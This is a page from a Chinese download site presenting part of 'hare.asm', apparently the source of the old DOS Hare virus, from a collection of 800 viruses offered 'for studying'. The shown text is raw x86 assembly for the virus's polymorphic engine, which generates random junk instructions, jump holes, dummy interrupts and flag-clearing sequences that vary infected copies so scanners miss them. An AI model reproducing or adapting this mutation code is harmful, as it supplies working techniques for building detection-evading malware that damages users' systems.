⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hare.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		DEC     Byte_Pages
LOC_97:
		POP     BP
		POP     BX

		RETN


SUB_25:
		PUSH    CX

		XOR     CX, CX
		MOV     AL, DATA_92
		MOV     CL, AL
                SHR     AL, 2                   ; DIV 4.
		MOV     DATA_92, AL

                AND     CL, 03h
		REP     MOVSB

		POP     CX

		RETN


SUB_26:
                CALL    Get_Random_Poly

		CMP     BYTE PTR DATA_97,4
		JAE     LOC_98

		XOR     AL, AH
		JP      LOC_98                  ; Jump if parity=1

		MOVSB

		RETN
LOC_98:
		MOV     BL, DATA_96
		MOV     BH, 00h

		CMP     BYTE PTR DATA_97, 06h
		JAE     LOC_100

		CMP     BYTE PTR DATA_97, 04h
		JAE     LOC_99

		TEST    AL, 00000001b
		JNZ     LOC_100
LOC_99:
		MOV     DL, 01h
                MOV     DH, Uncon_Jumps[BX]

		JMP     LOC_101
LOC_100:
		MOV     DL, 0FFh
		MOV     DH, [BX+DATA_109]
LOC_101:
		TEST    AL, 00000010b
		JNZ     LOC_102

                MOV     AL, 81h
		STOSB

		MOV     AL, DH
		STOSB

		MOV     AL, DL
                CBW
		STOSW
		INC     SI
		ADD     CL, 03h
		RETN
LOC_102:
                MOV     AL, 83h                 ; ADD
		STOSB

		MOV     AL, DH
		STOSB

		MOV     AL, DL
		STOSB

		INC     SI
		ADD     CL, 02h
		RETN

		DB      0C3H


SUB_27:
                CALL    Get_Random_Poly
		XOR     AL, AH
		JNS     LOC_103                 ; Jump if not sign
		MOVSB

		RETN
LOC_103:
		MOV     BL, DATA_94
		MOV     BH, 00h
                CMP     DATA_93, 80h
		NOP
		JA      LOC_105

		TEST    AL, 00000001b
		JNZ     LOC_104

		MOV     DL, 01h
		MOV     DH, Uncon_Jumps[BX]

		JMP     LOC_107
LOC_104:
		MOV     DL, 0FFh
		MOV     DH, DATA_109[BX]
		JMP     LOC_107
LOC_105:
		TEST    AL, 00000001b
		JNZ     LOC_106

		MOV     DL, 01h
		MOV     DH, DATA_109[BX]
		JMP     LOC_107
LOC_106:
		MOV     DL, 0FFh
		MOV     DH, Uncon_Jumps[BX]
LOC_107:
		TEST    AL, 00000010b
		JNZ     LOC_108

		MOV     AL, 81h
		STOSB

		MOV     AL, DH
		STOSB

		MOV     AL, DL
                CBW
		STOSW

		INC     SI
		ADD     CL, 03h
		RETN

LOC_108:
                MOV     AL, 83h                 ; ADD
		STOSB

		MOV     AL, DH
		STOSB

		MOV     AL, DL
		STOSB

		INC     SI
		ADD     CL, 02h

		RETN



SUB_28:
                CMP     DATA_93, 128
                NOP
		JA      LOC_RET_112

		PUSH    DX
		MOV     DX, OFFSET Buffer
		MOV     AL, DATA_93
		AND     AL, 07h
                CBW
		INC     AX
		ADD     DX,AX
		MOV     BL,DATA_97

		CMP     BL, 06h
		JE      LOC_109

		TEST    BL, 00000001b
		JNZ     LOC_109

		DEC     DX
LOC_109:
		MOV     AH, AL
		XOR     BX, BX
                MOV     BL, DATA_94
		MOV     AL, 81h
		STOSB

		TEST    AH, 00000001b
		JZ      LOC_110

                MOV     AL, Uncon_Jumps[BX]     ; Store JMP opcode.
		STOSB

		MOV     AX, DX
		NEG     AX
		STOSW
		JMP     LOC_111
LOC_110:
                MOV     AL, DATA_109[BX]
                STOSB

                MOV     AX, DX
                STOSW
LOC_111:
		ADD     CL,4
		POP     DX

LOC_RET_112:
		RETN



Make_Uncon_JMP:
                CALL    Get_Random_Poly

                TEST    AL, 00100000b           ; 1/8 chance.
		JZ      LOC_RET_116

                TEST    AL, 00001000b           ; 1/8 chance.
		JZ      LOC_113

                AND     AH, 03h                 ; 0 - 3.
                ADD     AH, 01h                 ; Prevent zero JMP.

                MOV     AL, 0EBh                ; JMP SHORT opcode.
                STOSW                           ; Store JMP SHORT.

		ADD     CL, 02h
		MOV     AL, AH

		JMP     LOC_114
LOC_113:
                AND     AH, 03h                 ; 0 - 3.
                ADD     AH, 01h                 ; 1 - 4.

                MOV     AL, 0E9h                ; Store JMP opcode.
		STOSB

                MOV     AL, AH                  ; Store dataword.
                CBW
		STOSW

                ADD     CL, 3
LOC_114:
                MOV     BL, AL
LOC_115:
                CALL    Get_Random_Poly
		MOV     AH, AL

                CMP     AH, 2Eh                 ; CS: override?
                JE      LOC_115                 ; Then get another value.

		AND     AH, 0F8h

                CMP     AH, 0B0h                ; MOV AL ?
                JE      LOC_115                 ; Then get another value.

		STOSB
		ADD     CL, 01h

                SUB     BL, 01h                 ; JMP-Hole filled with
                JNZ     LOC_115                 ; garbage?

LOC_RET_116:
		RETN



SUB_30:
		TEST    Flags, 00010000b
		JNZ     LOC_119

                CALL    Get_Random_Poly

		TEST    AL, 00000100b
		JNZ     LOC_118

		MOVSB

		RETN
LOC_118:
		AND     AH,7

		CMP     AH, 04h
		JE      SUB_30

		MOV     AL, AH
		OR      AL, 58h
		STOSB

		MOV     AL, 0FFh
		OR      AH, 0E0h
		STOSW

		ADD     CL, 02h

		RETN


LOC_119:
                XOR     Flags, 10h
                MOV     AL, 0E9h                ; JMP opcode.
                STOSB

                ADD     CL, 2
		MOV     AL, CL
                CBW
                ADD     AX, 1E7Bh
		NEG     AX
                STOSW

		RETN



SUB_31:
		PUSH    BX
		MOV     SI, 0E70h

                CALL    Get_Random_Poly
		JNP     LOC_120                 ; Jump if not parity

                MOV     DI, OFFSET Used_Mov_Ptr
		MOV     AX, [DI]
                PUSH    [DI+2]
		PUSH    SI

		MOVSW
		MOVSB

		POP     SI
		MOV     [SI], AX
		POP     AX
		MOV     [SI+2], AL
LOC_120:
		MOV     DI, OFFSET Undoc
                CALL    Get_Random_Poly

		CMP     AL, 55h
		JB      LOC_121

		CMP     AL, 0AAh
		JB      LOC_122

		MOV     AX, [SI+3]
		STOSW
		MOVSW
		MOVSB

		INC     SI
		INC     SI
                MOVSW
                MOVSB
                MOV     BYTE PTR DATA_92, 3Eh
		JMP     LOC_123
LOC_121:
                MOVSW
                MOVSB
		MOV     AX,[SI]
		INC     SI
		INC     SI
                MOVSW
                MOVSB
                STOSW
                MOV     BYTE PTR DATA_92, 2Fh
		JMP     LOC_123
LOC_122:
                MOVSW
                MOVSW
                MOVSW
                MOVSW
                MOV     BYTE PTR DATA_92, 3Bh
LOC_123:
		MOV     CX, 09h
		REP     MOVSB
		POP     BX
		RETN




Make_Clear_Flags:
                CALL    Get_Random_Poly         ; Get random number in AX.

                CMP     AL, 128                 ; 50% chance.
		JB      LOC_RET_127

		TEST    AH, 00001000b
                JNZ     LOC_125

                MOV     AL, 0FAh                ; CLI
Store1:
		STOSB
		ADD     CL, 01h

		RETN
LOC_125:
		PUSH    BX

                MOV     BX, OFFSET PushPop_Pairs
LOC_126:
                ADD     AL, 20                  ; Must be 20 or above.
                JNC     LOC_126                 ; Overflow?

                CBW
                AND     AL, 0FEh                ; Number must be even.
		ADD     BX, AX
                MOV     AH, [BX]                ; Get PUSH reg.

                POP     BX

                MOV     AL, 9Dh                 ; POPF

                CMP     Host_Type, 01h          ; Host is .EXE ?
                JE      Store1

		STOSW
		ADD     CL, 02h

LOC_RET_127:
		RETN

LOC_128:
                XOR     Flags, 8

		RETN

SUB_33:
		TEST    Flags, 00001000b
		JNZ     LOC_128

		PUSH    BX
LOC_129:
                CALL    Get_Random_Poly

		TEST    AH, 00000001b
		JZ      LOC_131

		AND     AX, 07h
		MOV     BX, AX

		CMP     BL, 04h
		JNE     LOC_130

		CMP     BYTE PTR DATA_81, 0B0h
		JE      LOC_129

		CMP     BYTE PTR DATA_96, 00h
		JE      LOC_129
LOC_130:
		MOV     AL, DATA_100[BX]
		STOSB

		INC     CL
		POP     BX

		RETN
LOC_131:
                CMP     BYTE PTR DATA_96, 0
                JE      LOC_129

                CMP     BYTE PTR DATA_95, 0
                JE      LOC_129
LOC_132:
                CALL    Get_Random_Poly
		AND     AX,7

		CMP     AL,5
                JA      LOC_132

                SHL     AL, 1                   ; MUL 2.
                MOV     BX, AX
                MOV     AX, DATA_101[BX]
                STOSW

		CMP     BL,6
                JA      LOC_133

                CALL    Get_Random_Poly
                AND     AL, 0Fh
                STOSB
                ADD     CL, 1

                CMP     BL, 6
                JNE     LOC_133

                MOV     AL, AH
                STOSB
                ADD     CL, 1
LOC_133:
                ADD     CL, 2
		POP     BX

		RETN


SUB_34:
                CALL    Get_Random_Poly

		CMP     AX, 5555h
		JB      LOC_RET_136

		OR      Flags, 00001000b

		CALL    Make_Dummy_Int
                CALL    Get_Random_Poly

		XCHG    BX, AX
		AND     BX, 02h
		MOV     AX, DATA_98[BX]
		STOSW

                MOV     DX, Host_Entrypoint
		ADD     DX, OFFSET Buffer
		ADD     DX, CX
		ADD     CL, 02h

		TEST    AL, 00001000b
		JNZ     LOC_134

                MOV     AL, 81h                 ; Arithmic
                STOSB

                ADD     CL, 7
		CALL    SUB_35

                MOV     AL, 0FAh
                STOSB

		XCHG    DX, AX
		STOSW

		RETN


LOC_134:
		MOV     AL, 80h
		STOSB
		ADD     CL,6
		CALL    SUB_35

                CMP     AH, 80h
                JA      LOC_135

                MOV     AL, 0FBh
                STOSB
                MOV     AL, DH
                STOSB

		RETN
LOC_135:
		MOV     AL, 0FAh
		STOSB

		XCHG    DX, AX
		STOSB

LOC_RET_136:
		RETN


SUB_35:
LOC_137:
                CALL    Get_Random_Poly
		MOV     BL, AL
		AND     BX, 07h

		CMP     BL, 04h
		JA      LOC_137

		MOV     AL, DATA_99[BX]
		STOSB

		CMP     BL, 03h
		JE      LOC_139

		CMP     BL, 04h
		JNE     LOC_RET_140

		TEST    BYTE PTR [DI-2], 00000001b
		JNZ     LOC_138

		NEG     DH
		NEG     DL

		RETN
LOC_138:
		NEG     DX
		RETN
LOC_139:
		NOT     DX

LOC_RET_140:
		RETN



SUB_36:
		TEST    Flags, 00001000b
		JZ      LOC_RET_141

                CALL    Get_Random_Poly
		AND     AH, 7Fh
		ADD     AH, 0Ah
		MOV     AL, 75h
		STOSW

LOC_RET_141:
		RETN


Make_Dummy_Int:
		ADD     CL, 02h
		MOV     BL, 2Ah
                CALL    Get_Random_Poly
LOC_142:
		ADD     AL, BL
		JNC     LOC_142

		AND     AX, 0000000011111110b
		XCHG    BX, AX
                MOV     AX, OFFSET Int_Table[BX]
		STOSW

		RETN



SUB_38:
		PUSH    AX
		CMP     DATA_77,0
		MOV     CX,200H
		JNZ     LOC_143
		MOV     CX,DX
LOC_143:
		MOV     DX, OFFSET Undoc
		MOV     DI, DX

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -